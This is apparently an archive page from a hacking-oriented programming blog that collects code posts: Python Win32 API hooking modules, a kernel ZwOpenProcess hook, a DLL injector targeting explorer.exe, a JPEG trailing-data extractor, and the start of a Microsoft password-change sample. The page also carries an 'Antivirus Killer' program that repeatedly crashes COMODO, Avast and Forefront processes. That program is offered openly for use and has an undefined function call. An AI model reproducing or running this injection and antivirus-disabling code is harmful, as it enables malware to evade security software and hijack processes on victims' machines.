Tag Cloud

CRM 2011 (161) CRM 4.0 (144) C# (116) JScript (109) Plugin (92) Registry (90) Techpedia (77) PyS60 (68) WScript (43) Plugin Message (31) Exploit (27) ShellCode (26) FAQ (22) JavaScript (21) Killer Codes (21) Hax (18) VB 6.0 (17) Commands (16) VBScript (16) Quotes (15) Turbo C++ (13) WMI (13) Security (11) 1337 (10) Tutorials (10) Asp.Net (9) Safe Boot (9) Python (8) Interview Questions (6) video (6) Ajax (5) VC++ (5) WebService (5) Workflow (5) Bat (4) Dorks (4) Sql Server (4) Aptitude (3) Picklist (3) Tweak (3) WCF (3) regex (3) Config (2) LINQ (2) PHP (2) Shell (2) Silverlight (2) TSql (2) flowchart (2) serialize (2) ASHX (1) CRM 4.0 Videos (1) Debug (1) FetchXml (1) GAC (1) General (1) Generics (1) HttpWebRequest (1) InputParameters (1) Lookup (1) Offline Plug-ins (1) OutputParameters (1) Plug-in Constructor (1) Protocol (1) RIA (1) Sharepoint (1) Walkthrough (1) Web.config (1) design patterns (1) generic (1) iframe (1) secure config (1) unsecure config (1) url (1)

Pages

Showing posts with label 1337. Show all posts
Showing posts with label 1337. Show all posts

Monday, February 20, 2012

hooker.py

# hooker.py 
# deals with hooking of win32 APIs.
# public domain code.


from patcher import *
from tramper import tramper
from win32api import *
from pytcc import pytcc






def create_hook (duplicate_api, cparam_types='', prelogic="", postlogic="", restype="int"):
""" create_hook (pat, duplicate_api, cparam_types='', prelogic="", postlogic="", restype="int"):
"""

c_code =\
"""
%s function (int caller, %s)
{
%s
%s RET = DUPE ( %s );
%s
return RET;
}"""

cargs = ''
symbols = ''
for arg, char in zip (cparam_types, "ABCDEFGHIJKLMNOPQRSTUVWXYZ"):

symbols += "%s, " % char
cargs += "%s %s, " % (arg, char)

symbols = symbols [:-2]
cargs = cargs [:-2]

c_code = c_code % (restype, cargs, prelogic, restype, symbols, postlogic)
ccompiler = pytcc ()
ccompiler.add_lib_proc ("msvcrt.dll", "memset")
ccompiler.add_symbol ("DUPE", duplicate_api)
ccompiler.compile (c_code)
ccompiler.relocate ()

hook = ccompiler.get_symbol ("function")

return (c_code, hook)








def hooker (apiname, cparam_types=list(), restype="int", prelogic='', postlogic='', pid=GetCurrentProcessId(), dllname="kernel32"):
"""hooker (apiname, cparam_types=list(), restype="int", prelogic='', postlogic='', pid=GetCurrentProcessId(), dllname="kernel32"):
"""

pat = patcher ()

params_size = get_cparams_size (cparam_types)
pat.set_params_size (params_size)

pat.set_source_as_api (apiname, dllname)

hook_size = len (get_patch (pat.destination, pat.params_size))
tramp = tramper (pat.source, hook_size)
pat.duplicate_api = tramp

hook_ccode, hooks = create_hook (tramp, cparam_types, prelogic, postlogic, restype)
pat.c_code = hook_ccode
pat.set_destination (hooks)

return pat








if __name__ == '__main__':

# Test.


hook = hooker (\

# API to hook
apiname="OpenProcess",

# the DLL the API is in. (defaults to kernel32)
dllname="kernel32",

# (required) API parameter types. In our hook these get translated to the names A,B,C...respectively.
cparam_types=["int", "int", "int"],

# (required) the API return type.
restype="int",

# (optional) this is the code in our hook wich is executed Before the real API.
prelogic="if (C==1) {return 1111;}",

# (optional) this is the code in our hook wich is executed After the real API. The real API's return value is named RET.
postlogic="if (RET) {return 0;}"
)


# hook API.
# hook automatically unhooks itself and cleans up when it isnt refered to anymore.
hook.patch ()

print "Calling hooked OpenProcess api with process id as 1."
ret = windll.kernel32.OpenProcess (0x1f0fff, 0, 1)

print "Return value: %s" % ret
if ret == 1111: print "This test was sucesful."
else: print "Return value is unexpected."

# unhook API.
# hook.unpatch ()



#cad


Thursday, August 11, 2011

Hooking ZwOpenProcess To Protect Processes

protect processes by returning a STATUS_ACCESS_DENIED.



#include "ntddk.h"

// Hooking ZwOpenProcess to protect a process by returning a STATUS_ACCESS_DENIED



// The PID of my process

int PID = 1234; // I want to get the PID from the process "SERVER.EXE"



NTSYSAPI

NTSTATUS

NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);



typedef NTSTATUS (*ZWOPENPROCESS)(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);



// OldZwOpenProcess points to the original function

ZWOPENPROCESS OldZwOpenProcess;



// This is my hook function that will replace the kernel function ZwOpenProcess in the System Service Dispatch Table (SSDT)

NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL)

{

HANDLE ProcessId;

__try

{

ProcessId = ClientId->UniqueProcess;

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

return STATUS_INVALID_PARAMETER;

}

if (ProcessId == (HANDLE)PID) // Check if the PID matches my protected process

{

return STATUS_ACCESS_DENIED; // Return a Acess Denied

}

else

{

return OldZwOpenProcess(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); // Return the original ZwOpenProcess

}

}

Hooking explorer.exe (inject.cpp:)





//Filename:inject.cpp

#include "main.h"



typedef DWORD NTSTATUS;



struct NtCreateThreadExBuffer{

ULONG Size;

ULONG Unknown1;

ULONG Unknown2;

PULONG Unknown3;

ULONG Unknown4;

ULONG Unknown5;

ULONG Unknown6;

PULONG Unknown7;

ULONG Unknown8;

};





typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)

(

OUT PHANDLE hThread,

IN ACCESS_MASK DesiredAccess,

IN LPVOID ObjectAttributes,

IN HANDLE ProcessHandle,

IN LPTHREAD_START_ROUTINE lpStartAddress,

IN LPVOID lpParameter,

IN BOOL CreateSuspended,

IN ULONG StackZeroBits,

IN ULONG SizeOfStackCommit,

IN ULONG SizeOfStackReserve,

OUT LPVOID lpBytesBuffer

);



using namespace std;



#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)



BOOL LoadDll(char *procName, char *dllName);

BOOL InjectDLL(DWORD dwProcessID, char *dllName);



BOOL LoadDll(char *dllName, DWORD dwProcID){



printf("Process Id to Inject: %d",dwProcID);



if(!dwProcID){

printf("No vailid PID\n");

return false;

}



FILE* FileCheck = fopen(dllName, "r");



if(FileCheck==NULL){

printf("\nUnable to inject %s", dllName);

return false;

}



fclose(FileCheck);





if(!InjectDLL(dwProcID, dllName)){



printf("injection failed\n");

return false;

} else {

return true;

}



}







BOOL InjectDLL(DWORD dwProcessID, char *dllName){



HANDLE hProc;

HANDLE hToken;

char buf[50]={0};

LPVOID RemoteString, LoadLibAddy;



if(!dwProcessID)return false;





HANDLE hCurrentProc = GetCurrentProcess();



if (!OpenProcessToken(hCurrentProc,TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken)){



printf("OpenProcessToken Error:%d\n", GetLastError());





} else {



if (!RaisePrivleges(hToken, (char*)SE_DEBUG_NAME)){



printf("SetPrivleges SE_DEBUG_NAME Error:%d\n", GetLastError());





}



}



if (hToken)CloseHandle(hToken);



hProc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, dwProcessID);



if(!hProc){



printf("OpenProcess() failed: %d", GetLastError());

return false;



}



LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");



if(!LoadLibAddy){



printf("GetProcAddress() failed: %d", GetLastError());

return false;



}



RemoteString = (LPVOID)VirtualAllocEx(hProc, NULL, strlen(dllName), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);



if(RemoteString == NULL){



printf("VirtualAllocEx() failed: %d", GetLastError());

return false;



}



if(WriteProcessMemory(hProc, (LPVOID)RemoteString, dllName, strlen(dllName), NULL) == NULL){



printf("WriteProcessMemoery() failed: %d", GetLastError());

return false;



}

/*

if(!CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL)){



printf("CreateRemoteThread() failed: %d", GetLastError());

return false;



}

*/



HMODULE modNtDll = GetModuleHandle("ntdll.dll");



if( !modNtDll )

{

printf("n failed to get module handle for ntdll.dll, Error=0x%.8x", GetLastError());

return 0;

}



LPFUN_NtCreateThreadEx funNtCreateThreadEx =

(LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx");



if( !funNtCreateThreadEx )

{

printf("n failed to get funtion (NTCreateThreadEx) address from ntdll.dll, Error=0x%.8x\nTrying CreateRemoteThread api\n", GetLastError());



if(!CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL)){



printf("CreateRemoteThread() failed: %d", GetLastError());

return false;



} else {

printf("CreateRemoteThread success!\n");

return true;

}





return 0;

}



NtCreateThreadExBuffer ntbuffer;



memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer));

DWORD temp1 = 0;

DWORD temp2 = 0;

HANDLE pRemoteThread = NULL;



ntbuffer.Size = sizeof(NtCreateThreadExBuffer);

ntbuffer.Unknown1 = 0x10003;

ntbuffer.Unknown2 = 0x8;

ntbuffer.Unknown3 = &temp2;

ntbuffer.Unknown4 = 0;

ntbuffer.Unknown5 = 0x10004;

ntbuffer.Unknown6 = 4;

ntbuffer.Unknown7 = &temp1;

ntbuffer.Unknown8 = 0;



NTSTATUS status = funNtCreateThreadEx(

&pRemoteThread,

0x1FFFFF,

NULL,

hProc,

(LPTHREAD_START_ROUTINE) LoadLibAddy,

(LPVOID)RemoteString,

FALSE, //start instantly

NULL,

NULL,

NULL,

&ntbuffer

);



// Resume the thread execution











CloseHandle(hProc);

return true;



}





BOOL RaisePrivleges( HANDLE hToken, char *pPriv ){



TOKEN_PRIVILEGES tkp;

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

tkp.Privileges[0].Luid.HighPart = 0;

tkp.Privileges[0].Luid.LowPart = 0;



if (!LookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)){



printf("LookupPrivilegeValue Error:%d\n", GetLastError());

return FALSE;



}



int iRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, (PTOKEN_PRIVILEGES)NULL, 0);



if (iRet == NULL){



printf( "AdjustTokenPrivileges Error:%d\n", GetLastError());

return TRUE;



} else {



iRet = GetLastError();



switch (iRet){



case ERROR_NOT_ALL_ASSIGNED:{

printf("AdjustTokenPrivileges ERROR_NOT_ALL_ASSIGNED\n" );

return FALSE;

}



case ERROR_SUCCESS:{

return TRUE;

}

default:{

printf("AdjustTokenPrivileges Unknow Error:%d\n", iRet);

return FALSE;

}

}

}

}

Hooking explorer.exe (main.h)





//Filename main.h

#pragma once



#include <windows.h>

#include <iostream>

#include <tlhelp32.h>

#include <string>

#include <stdio.h>

#include <shlwapi.h>

#include <fstream>



struct ReturnerData{

char* CodeBuffer;

long Size;

};



BOOL LoadDll(char *dllName, DWORD dwProcID);

BOOL RaisePrivleges( HANDLE hToken, char *pPriv );

int Unpack();

int Compile(char* SourceFile);

int Pack();

int InjectRawCode(ReturnerData RawCodeStruct, DWORD dwProcessID);

ReturnerData ExtractCode();


Antivirus Killer





//Kills COMODO, Avast and Micro$oft Frorefront

//crashes a target process by attempting to inject a dll without enough space allocated for DLL's name

//Code snippets taken from Blizzhackers.cc and Rohitab

//THX to Napalm,magnetisk, and Nihil² for letting me "borrow" your code

//Put together by Cpu_hacker666

//Yes, I IZ A CODE MONKEY XD



#include <iostream>

#include <windows.h>

#include <tlhelp32.h>

#include <shlwapi.h>



#define dll_name "lol"//Madeup DLL name, SHOULD NOT EXIST



using namespace std;



bool CrashProcess(DWORD procid);



void COMODO();





unsigned long GetProcID(const char *process);

BOOL EnablePriv(LPCSTR lpszPriv); // by Napalm



int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,

LPSTR lpszArgument, int nFunsterStil)

{

EnablePriv( SE_DEBUG_NAME );

CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&avast, 0, 0, NULL);



while(1)

{

Sleep(1);

}



return 0;



}



bool CrashProcess(DWORD procid) //Based off magnetisk's poorly written code

{

if(!procid)

{

return FALSE;

}



HANDLE hd;

LPVOID gp,rs;



gp = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.lib"),"LoadLibraryA");



hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE,procid);



rs = (LPVOID)VirtualAllocEx(hd, NULL, strlen(dll_name), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);



WriteProcessMemory(hd, (LPVOID)rs, dll_name,strlen(dll_name), NULL);

CreateRemoteThread(hd,NULL,0,(LPTHREAD_START_ROUTINE)gp,(LPVOID)rs,0,0);

return TRUE;

}



unsigned long GetProcID(const char *process) //by Nihil²

{

PROCESSENTRY32 pe = {0};

HANDLE thSnapshot = {0};

BOOL retval = false;



thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(thSnapshot == INVALID_HANDLE_VALUE)

{

MessageBox(NULL, "Error: Unable to create toolhelp snapshot!", "Loader", MB_ICONERROR);

return 0;

}



pe.dwSize = sizeof(PROCESSENTRY32);



retval = Process32First(thSnapshot, &pe);



while(retval)

{

if(StrStrI(pe.szExeFile, process))

{

return pe.th32ProcessID;

}



retval = Process32Next(thSnapshot,&pe);

}



return 0;

}



BOOL EnablePriv(LPCSTR lpszPriv) // by Napalm

{

HANDLE hToken;

LUID luid;

TOKEN_PRIVILEGES tkprivs;

ZeroMemory(&tkprivs, sizeof(tkprivs));



if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))

return FALSE;



if(!LookupPrivilegeValue(NULL, lpszPriv, &luid)){

CloseHandle(hToken); return FALSE;

}



tkprivs.PrivilegeCount = 1;

tkprivs.Privileges[0].Luid = luid;

tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;



BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);

CloseHandle(hToken);

return bRet;

}



void COMODO()

{

while(1)

{

if(GetProcID("cfp.exe"))

CrashProcess(GetProcID("cfp.exe"));



if(GetProcID("cfplogvw.exe"))

CrashProcess(GetProcID("cfplogvw.exe"));



if(GetProcID("cavscan.exe"))

CrashProcess(GetProcID("cavscan.exe"));



if(GetProcID("cfpupdat.exe"))

CrashProcess(GetProcID("cfpupdat.exe"));



if(GetProcID("cmdagent.exe"))

CrashProcess(GetProcID("cmdagent.exe"));



if(GetProcID("crashrep.exe"))

CrashProcess(GetProcID("crashrep.exe"));



Sleep(100);

}

}


hooker.py





# hooker.py

# deals with hooking of win32 APIs.

# public domain code.





from patcher import *

from tramper import tramper

from win32api import *

from pytcc import pytcc















def create_hook (duplicate_api, cparam_types='', prelogic="", postlogic="", restype="int"):

""" create_hook (pat, duplicate_api, cparam_types='', prelogic="", postlogic="", restype="int"):

"""



c_code =\

"""

%s function (int caller, %s)

{

%s

%s RET = DUPE ( %s );

%s

return RET;

}"""



cargs = ''

symbols = ''

for arg, char in zip (cparam_types, "ABCDEFGHIJKLMNOPQRSTUVWXYZ"):



symbols += "%s, " % char

cargs += "%s %s, " % (arg, char)



symbols = symbols [:-2]

cargs = cargs [:-2]



c_code = c_code % (restype, cargs, prelogic, restype, symbols, postlogic)

ccompiler = pytcc ()

ccompiler.add_lib_proc ("msvcrt.dll", "memset")

ccompiler.add_symbol ("DUPE", duplicate_api)

ccompiler.compile (c_code)

ccompiler.relocate ()



hook = ccompiler.get_symbol ("function")



return (c_code, hook)

















def hooker (apiname, cparam_types=list(), restype="int", prelogic='', postlogic='', pid=GetCurrentProcessId(), dllname="kernel32"):

"""hooker (apiname, cparam_types=list(), restype="int", prelogic='', postlogic='', pid=GetCurrentProcessId(), dllname="kernel32"):

"""



pat = patcher ()



params_size = get_cparams_size (cparam_types)

pat.set_params_size (params_size)



pat.set_source_as_api (apiname, dllname)



hook_size = len (get_patch (pat.destination, pat.params_size))

tramp = tramper (pat.source, hook_size)

pat.duplicate_api = tramp



hook_ccode, hooks = create_hook (tramp, cparam_types, prelogic, postlogic, restype)

pat.c_code = hook_ccode

pat.set_destination (hooks)



return pat

















if __name__ == '__main__':



# Test.





hook = hooker (\



# API to hook

apiname="OpenProcess",



# the DLL the API is in. (defaults to kernel32)

dllname="kernel32",



# (required) API parameter types. In our hook these get translated to the names A,B,C...respectively.

cparam_types=["int", "int", "int"],



# (required) the API return type.

restype="int",



# (optional) this is the code in our hook wich is executed Before the real API.

prelogic="if (C==1) {return 1111;}",



# (optional) this is the code in our hook wich is executed After the real API. The real API's return value is named RET.

postlogic="if (RET) {return 0;}"

)





# hook API.

# hook automatically unhooks itself and cleans up when it isnt refered to anymore.

hook.patch ()



print "Calling hooked OpenProcess api with process id as 1."

ret = windll.kernel32.OpenProcess (0x1f0fff, 0, 1)



print "Return value: %s" % ret

if ret == 1111: print "This test was sucesful."

else: print "Return value is unexpected."



# unhook API.

# hook.unpatch ()







#cad

tramper.py





# tramper.py

# Relocates bytes of an API and creates a jump from those bytes to the original API affectively negating a hook.

# TODO !Recalculate Relocated Relative jmp and call addresses.

# public domain code.



from ctypes import *

from win32api import *

from pytcc import pytcc

from struct import pack, unpack

from win32gui import PyGetString, PySetMemory, PySetString

from win32con import MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS



from distorm import Decode

from patcher import OpenProcess, readMemory, writeMemory, allocate, transport





DEBUG = True

def DB (msg):

global DEBUG

if DEBUG: print (msg)



















def tramper (apiaddress, hook_size, apiname=None, dllname="kernel32"):

"""tramper (apiaddress, hook_size, apiname=None, dllname="kernel32"):

Creates a duplicate API using the trampoline method and returns its address.

"""



if DEBUG: global hprocess, landing_offset, instructions, landing_address, tramp_memory, tramp_code, original_bytes



if not apiaddress:

dll = LoadLibrary (dllname)

apiaddress = GetProcAddress (dll, apiname)



landing_offset = 0

hprocess = OpenProcess ()

original_bytes = PyGetString (apiaddress, 300)



tramp_memory = allocate (len (original_bytes) + 50, hprocess)

print "Tramp memory: %s %s." % (tramp_memory, hex (tramp_memory))



instructions = Decode (apiaddress, original_bytes)

sizes = iter ([X[1] for X in instructions])





while landing_offset < hook_size:



landing_offset += sizes.next ()





landing_address = apiaddress + landing_offset



DB ("Landing offset : %s %s" % (landing_offset, hex (landing_offset)))

DB ("Landing address: %s %s" % (landing_address, hex (landing_address)))



distance = landing_address - (tramp_memory +landing_offset)

DB ("Distance: %s %s." % (distance, hex (distance)))



tramp_code = original_bytes [:landing_offset] # api start - past hook - to start of instruction

instructions = Decode (apiaddress, tramp_code)





boffset = 0

for offset, size, instruction, hexstr in instructions:



if filter (lambda x:x.lower() in instruction.lower(), ["call", "jmp"]):

raise "[not supported yet] Cannot relocate CALL/JMP Instructions. Address: %s"% (apiaddress + boffset)



boffset += size





#

# TODO !Recalculate Relocated Relative jmp and call addresses.

#





jump_code = '\xe9' + pack ("i", distance - 5) # bytes = jmp (distance - size of jump)

tramp_code += jump_code



# DEBUG

DB ("Tramp [size]: %s [bytes]; %s" % (len(tramp_code), (repr(tramp_code))))

DB ("Tramper api decode.")

if DEBUG: dprint (apiaddress, tramp_code)

# # # #



writeMemory (hprocess, tramp_memory, tramp_code)

CloseHandle (hprocess)



return tramp_memory

















def dprint (a, c):

""" pretty print disassembled bytes. dprint (offset, bytes)."""



x = Decode (a, c)

print "[deci addr : hexi addr] [size] instruction\n"



for offset, size, instruction, hexstr in x:



print "[%s : %s] [%s] %s" % (a,hex (a), size, instruction)

a += size















if __name__ == "__main__":



# Test.



lib = LoadLibrary ("kernel32")

OpenProcessAddr = GetProcAddress (lib, "OpenProcess")

FreeLibrary (lib)





trampAddr = tramper (\



apiaddress=OpenProcessAddr, # (optional if apiname is defined) API address to duplicate.

hook_size=10, # size of our API jmp code. (minimum size of relocated API bytes)

apiname=None, # (optional)

dllname="kernel32") # (optional / defaults to kernel32)







# Prototype the OpenProcess trampoline.

duplicate_OpenProcess = WINFUNCTYPE (c_int, c_int, c_int, c_int) (trampAddr)



pid = GetCurrentProcessId ()



print "Calling duplicate OpenProcess with pid: %s" % pid

phandle = duplicate_OpenProcess (0x1f0fff, 0, pid)

print "Return value: %s." %phandle



if phandle: CloseHandle (phandle)









#cad

patcher.py






# patcher.py

# handles patching and unpatching of process memory.

# public domain code.





from ctypes import *

from win32api import *

from pytcc import pytcc

from struct import pack, unpack, calcsize

from win32gui import PyGetString, PySetMemory, PySetString

from win32con import MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS

from distorm import Decode



DEBUG = True

def DB (msg):

global DEBUG

if DEBUG: print (msg)

















def OpenProcess (pid=GetCurrentProcessId()):



"""Opens a process by pid."""

DB ("[openProcess] pid:%s."%pid)



phandle = windll.kernel32.OpenProcess (\



PROCESS_ALL_ACCESS,

False,

pid )



assert phandle, "Failed to open process!\n%s" % WinError (GetLastError ()) [1]

return phandle

















def readMemory (phandle, address, size):

"""readMemory (address, size, phandle):"""



cbuffer = c_buffer (size)



success = windll.kernel32.ReadProcessMemory (\



phandle,

address,

cbuffer,

size,

0 )





assert success, "Failed to read memory!\n%s" % WinError (GetLastError()) [1]

return cbuffer.raw

















def writeMemory (phandle, address=None, data=None):

"""Writes data to memory and returns the address."""

assert data

size = len (data) if isinstance (data, str) else sizeof (data)

cdata = c_buffer (data) if isinstance (data, str) else byref (data)





if not address: address = allocate (size, phandle)



success = windll.kernel32.WriteProcessMemory (\



phandle,

address,

cdata,

size,

0 )



assert success, "Failed to write process memory!\n%s" % WinError (GetLastError()) [1]

DB ("[write memory] :%s OK." % address)



return address

















def allocate (size, phandle):

"""Allocates memory of size in phandle."""



address = windll.kernel32.VirtualAllocEx (\



phandle,

0,

size,

MEM_RESERVE | MEM_COMMIT,

PAGE_EXECUTE_READWRITE )



assert address, "Failed to allocate memory!\n%s" % WinError(GetLastError()) [1]

DB ("[memory allocation] :%s" % address)



return address

















def releaseMemory (address, size, phandle):

"""Releases memory by address."""



return windll.kernel32.VirtualFreeEx (\



phandle,

address,

size,

MEM_RELEASE )



assert success, "Failed to read process memory!\n%s" % WinError(GetLastError()) [1]



return cbuffer.raw

















def transport (data, phandle):



size = len (data)

memory = allocate (size, phandle)

writeMemory (phandle, memory, data)

return memory

















def get_patch (destination, params_size=0):



"""mov eax, destination

call eax

retn params_size

"""



if isinstance (destination, (int,long)): destination = pack ("i", destination)

if isinstance (params_size, (int,long)): params_size = pack ("h", params_size)



return '\xb8%s\xff\xd0\xc2%s' % (destination, params_size)

















def get_cparams_size (cparams):



if not cparams: return 0



s = ''



for param in cparams:

s += "size += sizeof (%s);\n" % param

c_code = """

int getsize ()

{

int size = 0;

%s

return size;

}""" % s



#DB (c_code)

ccompiler = pytcc ()

ccompiler.compile (c_code)

ccompiler.relocate ()

getsize = ccompiler.get_function ("getsize")

size = getsize ()

# ccompiler.delete ()

return size









def get_cparams_size_b (cparams):

return sum (map (calcsize, [param._type_ for param in cparams]))























def find_good_spot_to_patch (apiaddress, needed_size, maxscan=4000):

"""find_good_spot_to_patch (apiaddress, needed_size, maxscan=4000):

Searches the instructions inside an API for a good place to patch."""



# DEBUG

if DEBUG == 2:

bytes = PyGetString (apiaddress, needed_size * 2)

dprint (apiaddress, bytes)

# # # #



aoffset = 0

found_space = 0

position = apiaddress





while found_space < needed_size:



bytes = PyGetString (position, 24)

# DB ("found_space: %s. aoffset: %s. apiaddress: %s." % (found_space, aoffset, hex(position)))

# if does_code_end_function (bytes): raise "Function end found before enough space was found!"

offset, size, instruction, hexstr = Decode (position, bytes) [0]



if "ret" in instruction.lower (): raise "Function end found before enough space was found!"



if not filter (lambda x:x.lower() in instruction.lower(), ["call", "jmp"]):

found_space += size

else:

found_space = 0



aoffset += size

if aoffset >= maxscan: raise "Maxscan exceeded while searching for a good spot to patch!"

position += size





return apiaddress + (aoffset - found_space)

















class patcher:



source = None

destination = None

jmp_asm = None

original_bytes = None

params_size = 0

pid = None

phandle = None





duplicate_api = None

original_api = None









def __init__ (self,



source=None,

destination=None,

params_size=0,

pid=GetCurrentProcessId () ):





self.set_pid (pid)

self.set_source (source)

self.set_destination (destination)

self.set_params_size (params_size)









def set_pid (self, pid):



self.close ()

self.phandle = OpenProcess (pid)

self.pid = pid



def set_source (self, source): self.source = source

def set_destination (self, destination): self.destination = destination

def set_params_size (self, size): self.params_size = size

def set_source_as_api (self, apiname, dllname="kernel32.dll", free=True):



module = LoadLibrary (dllname)

procedure = GetProcAddress (module, apiname)

if free: FreeLibrary (module)

assert procedure

self.original_api = eval ("windll.%s.%s" % (dllname.strip(".dll"), apiname))



self.source = find_good_spot_to_patch (procedure, len (get_patch (0, self.params_size)))

if DEBUG: DB ("found good spot to patch: %s %s. Offset from original api address: %s." \

%(self.source, hex (self.source), self.source - procedure))









def patch (self):



assert all ((self.phandle, self.source, self.destination)), "Patch source or destination not set!"

assert not self.original_bytes, "Already patched!"



self.jmp_asm = get_patch (self.destination, self.params_size)

jmp_asm_size = len (self.jmp_asm)



self.original_bytes = PyGetString (self.source, jmp_asm_size)

assert self.original_bytes, "Failed to capture original_bytes."







writeMemory (\

phandle=self.phandle,

address=self.source,

data=self.jmp_asm)





msg = "[jmp_asm]:%s\n[jmp_asm_size]:%s\n[original_bytes]:%s\n" \

% (repr (self.jmp_asm), jmp_asm_size, repr (self.original_bytes))

DB (msg)









def unpatch (self):



if not self.original_bytes: raise "Not patched!"

assert all ((self.phandle, self.source, self.destination)), "Not initialized!"



writeMemory (\



phandle=self.phandle,

address=self.source,

data=self.original_bytes )



self.original_bytes = None





def close (self):



if self.phandle:

windll.kernel32.CloseHandle (self.phandle)

self.phandle = None





def release (self):

if self.phandle and self.duplicate_api:

releaseMemory (self.duplicate_api, 0, self.phandle)





def call_original_api (self, *args, **kwargs): return self.original_api (*args, **kwargs)





def call_duplicate_api (self, types, *args, **kwargs):



return WINFUNCTYPE (c_void_p, types) (self.duplicate_api) (*args, **kwargs)





def __del__ (self):



try:self.unpatch ()

except:pass

try:self.release ()

except:pass

try:self.close ()

except:pass

















def dprint (a, c):

"""Pretty prints disassembled bytes. dprint (offset, bytes)."""

x = Decode (a, c)



print "[deci addr : hexi addr] [size] instruction\n"



for offset, size, instruction, hexstr in x:



print "[%s : %s] [%s] %s" % (a,hex (a), size, instruction)

a += size



print









#cad

Wednesday, August 10, 2011

JPG Information





/* 

DESCRIPTION: Extracts any information after the actual end of a JPEG file.

*/



#include

#include

#include

using namespace std;



unsigned long int szFile;

char * buffer;



int main(int argc, char* argv[])

{

char *buffer;

int dataBegin;

char SOI[] = { 0xFF, 0xD8 }; //Start of Image

char COMM[] = { 0xFF, 0xFE }; //Comments Follow

char EOI[] = { 0xFF, 0xD9 }; //End of Image

ifstream fin;

ofstream fout;

if(argc != 3 ) {

cout << "Usage: " << argv[0] << " file.jpg outputfile.ext" << endl;

exit(EXIT_SUCCESS);

}



fin.open(argv[1], ios::binary | ios::in | ios::ate);

if(!fin.is_open()) {

cerr << "Error while opening input file!" << endl;

exit(EXIT_FAILURE);

}

szFile = (unsigned long int) fin.tellg();

if(szFile < 4) {

cerr << "Not a valid jpg image file!" << endl;

exit(EXIT_SUCCESS);

}



buffer = new char[szFile];

fin.seekg (0, ios::beg);

fin.read (buffer, szFile);

fin.close();



if(buffer[0] != (char) 0xFF || buffer[1] != (char) 0xD8) {

cerr << "Not a valid jpeg image file!" << endl;

exit(EXIT_SUCCESS);

}



bool comments = false;

for(unsigned long int i = 2; i < szFile-1; i++) {

if(buffer[i] == COMM[0] && buffer[i+1] == COMM[1]) {

cout << "Jpeg Comments: "; comments = true;

}



if(buffer[i] == EOI[0] && buffer[i+1] == EOI[1]) {

if(comments){

//end comments section;

comments=false;

cout << endl;

}

cout << "Jpeg Image Size: " << i+1 << " bytes" << endl;

dataBegin = i + 2;

break;

}

if(comments) cout << (char)buffer[i];

}



fout.open(argv[2], ios::out | ios::binary);

if(!fout.is_open()) {

cerr << "Error while opening output file!" << endl;

exit(EXIT_FAILURE);

}

for(unsigned long int i = dataBegin; i < szFile; i++) {

fout.put(buffer[i]);

}

fout.close();

cout << "Done Writing " << szFile - dataBegin << " bytes to " << argv[2] << endl;



delete[] buffer;

exit(EXIT_SUCCESS);

}

Friday, August 05, 2011

Networking (LAN Manager) API Sample


This sample changes the password for an arbitrary user on an arbitrary 
target machine. 


When targetting a domain controller for account update operations, 
be sure to target the primary domain controller for the domain. 
The account settings are replicated by the primary domain controller 
to each backup domain controller as appropriate. The NetGetDCName() 
Lan Manager API call can be used to get the primary domain controller 
computer name from a domain name. 

Note that admin or account operator privilege is required on the 
target machine unless argv[4] is present and represents the correct 
current password. 


NetUserSetInfo() at info-level 1003 is appropriate for administrative 
over-ride of an existing password. 


NetUserChangePassword() allows for an arbitrary user to over-ride 
an existing password providing that the current password is confirmed. 
CHNGPASS.C
/*++ 

Copyright (c) 1995, 1996  Microsoft Corporation 

Module Name: 

    chngpass.c 

Abstract: 

    This sample changes the password for an arbitrary user on an arbitrary 
    target machine. 

    When targetting a domain controller for account update operations, 
    be sure to target the primary domain controller for the domain. 
    The account settings are replicated by the primary domain controller 
    to each backup domain controller as appropriate.  The NetGetDCName() 
    Lan Manager API call can be used to get the primary domain controller 
    computer name from a domain name. 


    Username is argv[1] 
    new password is argv[2] 
    optional target machine (or domain name) is argv[3] 
    optional old password is argv[4].  This allows non-admin password 
     changes. 

